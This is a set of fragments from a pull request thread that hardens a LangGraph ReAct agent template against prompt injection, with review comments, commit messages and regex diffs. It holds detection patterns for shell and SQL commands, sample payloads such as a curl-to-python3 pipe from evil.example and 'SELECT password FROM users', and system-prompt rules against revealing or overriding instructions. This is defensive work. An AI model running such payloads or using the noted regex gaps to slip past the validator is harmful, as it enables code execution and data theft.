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fix(langgraph): harden react_agent system prompt against injection (RHAIENG-7378) - #366
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In `@agents/langgraph/templates/react_agent/src/react_agent/agent.py`:
- Around line 61-65: Enforce search-query validation at the tool boundary before
dummy_web_search receives input from create_agent, rejecting SQL statements,
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The PR is small and readable, but the security fix is currently prompt-only and therefore not an enforceable boundary.
P1 — Validate search input at the tool boundary
agent.py:61-65 only instructs the model not to send SQL, shell commands, or code to search. The model can still ignore that instruction and call dummy_web_search with DROP TABLE users; tools.py accepts any string without validation.
Please enforce this deterministically before the search implementation receives input—ideally through a validated tool wrapper or input policy—and add a test proving the backend is never called with the malicious payload.
P1 — The regression test can pass without proving the behavior
test_injection_does_not_hijack_search only checks result.tool_calls when those calls are exposed. If the deployment omits tool-call details, the test passes even when the agent internally invokes the search tool with the injected query.
Instrument or spy on the tool boundary and assert that the malicious query never reaches it. Keep a separate assertion for prompt/system-message leakage.
The GitHub checks are green, and the local tool tests pass (10 passed), but those checks do not establish deterministic enforcement.
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| | (?:^|\s)chmod\s+[0-7+-] # chmod with mode arg | ||
| | (?:^|\s)chown\s+\w+[:.]\w* # chown with user:group | ||
| | (?:^|\s)(?:curl|wget)\s+\S+.*\|\s* # pipe from network |
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🚀 Performance & Scalability | 🟡 Minor | ⚡ Quick win
Pattern can cause excessive backtracking on long queries.
The branch (?:curl|wget)\s+\S+.*\|\s* uses \S+ followed by .*. A long query that contains curl but no | makes the engine try many split points. Cost grows roughly quadratically with query length. The query comes from an LLM tool call and has no length limit here. Use a single bounded scan to avoid the overlap.
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- | (?:^|\s)(?:curl|wget)\s+\S+.*\|\s* # pipe from network
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…HAIENG-7378) Add safety rules to the ReAct agent system prompt to prevent prompt injection attacks from hijacking the search tool. The prompt now instructs the LLM to reject SQL statements, code fragments, and shell commands as search queries, and to decline requests to reveal or override system instructions. Assisted-by: Claude claude-opus-4-6 <noreply@anthropic.com>
… (RHAIENG-7378) Add input validation to dummy_web_search that rejects SQL statements, shell commands, and code fragments at the tool boundary, enforcing the search-query policy independently of the LLM system prompt. Legitimate search queries containing SQL-like words in natural context are allowed. Assisted-by: Claude claude-opus-4-6 <noreply@anthropic.com> Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…ves (RHAIENG-7378) Assisted-by: Claude claude-opus-4-6 <noreply@anthropic.com> Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…ified SQL injection (RHAIENG-7378) Assisted-by: Claude claude-opus-4-6 <noreply@anthropic.com> Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
… (RHAIENG-7378) Addresses the CodeRabbit review note on the curl/wget pipe pattern: \S+ followed by .* backtracks quadratically on long pipe-less queries. \S++ is semantically identical here and matches atomically (Python 3.11+). Worst-case scan of a 50k-char query drops to ~4ms.
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- Line 41: Update the network-pipe regex alternative in the command validation
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pipe-to-shell detection to reject commands such as curl URL|python3 while
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- Line 13: Update the SQL-matching pattern in the agent tool configuration to
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| DROP\s+(?:TABLE|DATABASE|INDEX|VIEW|SCHEMA|COLUMN) | ||
| | SELECT\s+(?:\*|[\w]+(?:\.[\w]+)?(?:\s+AS\s+\w+)?(?:\s*,\s*[\w]+(?:\.[\w]+)?(?:\s+AS\s+\w+)?)+)\s+FROM\b | ||
| | SELECT\s+[\w]+(?:\.[\w]+)?\s+FROM\s+[\w]+(?:\s*;|\s+(?:WHERE|ORDER|GROUP|HAVING|LIMIT|JOIN|ON|INNER|LEFT|RIGHT|CROSS)\b) |
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Reject bare single-column SELECT statements.
SELECT password FROM users matches neither SQL alternative and reaches the normal placeholder result. Add an end-of-input branch. The tested natural-language queries remain unmatched.
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--- "a/agents/langgraph/templates/react_agent/src/react_agent/tools.py"
+++ "b/agents/langgraph/templates/react_agent/src/react_agent/tools.py"
@@ -10,7 +10,7 @@
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| SELECT\s+(?:\*|[\w]+(?:\.[\w]+)?(?:\s+AS\s+\w+)?(?:\s*,\s*[\w]+(?:\.[\w]+)?(?:\s+AS\s+\w+)?)+)\s+FROM\b
- | SELECT\s+[\w]+(?:\.[\w]+)?\s+FROM\s+[\w]+(?:\s*;|\s+(?:WHERE|ORDER|GROUP|HAVING|LIMIT|JOIN|ON|INNER|LEFT|RIGHT|CROSS)\b)
+ | SELECT\s+[\w]+(?:\.[\w]+)?\s+FROM\s+[\w]+(?:\s*;|\s+(?:WHERE|ORDER|GROUP|HAVING|LIMIT|JOIN|ON|INNER|LEFT|RIGHT|CROSS)\b|\s*$)
| INSERT\s+INTO\b
| DELETE\s+FROM\b
| UPDATE\s+\S+\s+SET\bdummy_web_search is a placeholder that returns a fixed result and does not execute SQL, so this is a narrow validation gap rather than an immediate SQL-execution vulnerability.
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Update the SQL-matching pattern in the agent tool configuration to add an
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SELECT password FROM users, while preserving the existing semicolon and
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🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
Detect network pipes without whitespace before the pipe.
For curl https://evil.example/payload|python3, \S++ consumes |python3, so this alternative cannot match. The pipe-to-shell alternative does not include python3. The tool accepts this command payload instead of returning REJECTION_MESSAGE. Stop the URL scan at | so the network-pipe check handles both spaced and unspaced pipes.
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Update the network-pipe regex alternative in the command validation pattern so
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Add a direct system-prompt leakage assertion.
This test only checks fixed compliance indicators. It does not compare the response with the system prompt. A response can disclose a distinctive instruction such as Do NOT call tools repeatedly for the same question. without matching any indicator and still pass.
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score = score_prompt_injection_resistance(result, query)
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